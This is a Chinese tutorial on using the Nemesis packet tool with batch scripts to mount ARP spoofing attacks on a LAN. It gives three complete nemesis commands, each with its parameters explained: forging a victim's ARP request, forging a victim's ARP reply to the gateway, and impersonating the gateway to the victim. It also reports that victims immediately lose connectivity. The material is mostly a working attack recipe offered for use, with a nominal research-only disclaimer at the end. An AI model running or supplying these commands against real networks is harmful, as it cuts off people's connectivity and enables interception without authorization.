简介

   本文介绍了一个基于Nemesis的LAN发包工具, 并演示了LAN上ARP***的几种情况. Nemesis本身就是一个基于命令行的开源发包程序, 它可以在Windows系统上运行, 但是它每次只能发送一个包, 所以需要编写DOS批处理程序才能让它连续发包, 这样才能进行有意义的***.

程序下载

  • 附件中包含本文中使用的包含了DOS批处理程序Nemesis程序. Nemesis的在Sourceforge上的主页地址是[url]http://nemesis.sourceforge.net/[/url]
  • Nemesis使用WinPcap 3.0提供的函数库进行发包. 所以需要到WinPcap网站下载并安装WinPcap 3.0. 虽然WinPcap的最新版本已经升级到4.0, 但是Nemesis必须要使用WinPcap的3.0版本. 如果安装了Ethereal等工具, 可能计算机上存在WinPcap的较高版本, 这时必须使用3.0版覆盖较新的版本.

***示例

伪装成被***主机广播ARP请求

  首先根据LAN的实际情况编辑conflict.bat文件, 本文中的示例假设LAN网段为222.88.88.*, 网关地址为222.88.88.1, 使用普通的SOHO路由器. 双击conflict.bat执行***. 其中的Nemesis命令如下:
    nemesis arp -S 222.88.88.101 -h 00:34:67:88:2F:22 -D 222.88.88.1 -m 00:00:00:00:00:00 -P payload.txt -M FF:FF:FF:FF:FF:FF -H 00:34:67:88:2F:22
其中各参数的意义如下:
  • -S 222.88.88.101 ARP请求中的源IP地址, 也就是被***者的IP地址.
  • -h 00:34:67:88:2F:22 ARP请求中的源MAC地址, 可以随便伪造一个MAC地址.
  • -D 222.88.88.1 ARP请求中的目的IP地址, 可以随便指定一个IP地址, 结果都会使得被***者发生"IP地址冲突"错误, 但是如果指定成网关的地址, 还会更新网关的ARP缓存, 网关就无法正确将数据发送给被***者. 在实际测试中,被***者会立刻ping不通网关.
  • -m 00:00:00:00:00:00 ARP请求中的目的MAC地址, 一般为全0.
  • -P payload.txt 从payload.txt中读取Payload部分的内容.
  • -M FF:FF:FF:FF:FF:FF 2层包头的目的地址, ARP一般是广播地址.
  • -H 00:34:67:88:2F:22 2层包头的源地址, 最好与-h中指定的地址相同,这样可以使得发送的***包看起来更像一个真实的ARP请求包.指定不同的地址也许也是可行的.
  以下是***时使用Ethereal抓取的数据包,可见其中包括伪装的ARP请求以及网关的ARP应答.
 
 
伪装成被***者进行ARP应答
 
  此***在i_am_the_other_guy.bat中实现, 其中的Nemesis命令如下:
nemesis arp -S 222.88.88.101 -h 00:44:44:AA:3B:4D -D 222.88.88.1 -m 00:14:78:89:7c:c4 -P payload.txt -r -M 00:14:78:89:7c:c4 -H 00:44:44:AA:3B:4D
其中各参数的意义如下:
  • -S 222.88.88.101 被***者的IP地址.
  • -h 00:44:44:AA:3B:4D 伪造的被***者的MAC地址.
  • -D 222.88.88.1 网关的IP地址.
  • -m 00:14:78:89:7c:c4 网关的MAC地址.
  • -P payload.txt 从payload.txt中读取Payload部分的内容.
  • -r 指定nemesis发送ARP应答包.
  • -M 00:14:78:89:7c:c4 网关的MAC地址, 与-m相同.
  • -H 00:44:44:AA:3B:4D 伪造的被***者的MAC地址, 与-h相同.
以下是***时使用Ethereal抓取的数据包.此***的原理依然是刷新网关的ARP缓存,但是不会像上一种***那样在LAN中发广播,从而更具有隐蔽性.

伪装成网关进行ARP应答

  此***在i_am_router.bat中实现, 其中的Nemesis命令如下:
nemesis arp -S 222.88.88.1 -h 00:55:55:55:55:55 -D 222.88.88.101 -m 00:4E:4C:81:7D:E2 -P payload.txt -r -M 00:4E:4C:81:7D:E2 -H 00:55:55:55:55:55
其中各参数的意义如下:
  • -S 222.88.88.1 网关的IP地址.
  • -h 00:55:55:55:55:55 随便伪造的网关的MAC地址.
  • -D 222.88.88.101 被***者的IP地址.
  • -m 00:4E:4C:81:7D:E2 被***者的MAC地址.
  • -P payload.txt 从payload.txt中读取Payload部分的内容.
  • -r 指定nemesis发送ARP应答包.
  • -M 00:4E:4C:81:7D:E2 被***者的MAC地址, 与-m相同.
  • -H 00:55:55:55:55:55 伪造的网关的MAC地址, 与-h相同.
以下是***时使用Ethereal抓取的数据包.实际测试中,被***者的ARP缓存被立刻刷新,网关的MAC地址变成了一个不存在的地址,从而无法与网关通信.
 
 

免责声明
本文所提供的软件及其说明文档仅供研究之用, 由于使用本站的软件所造成的后果均由使用者自行承担.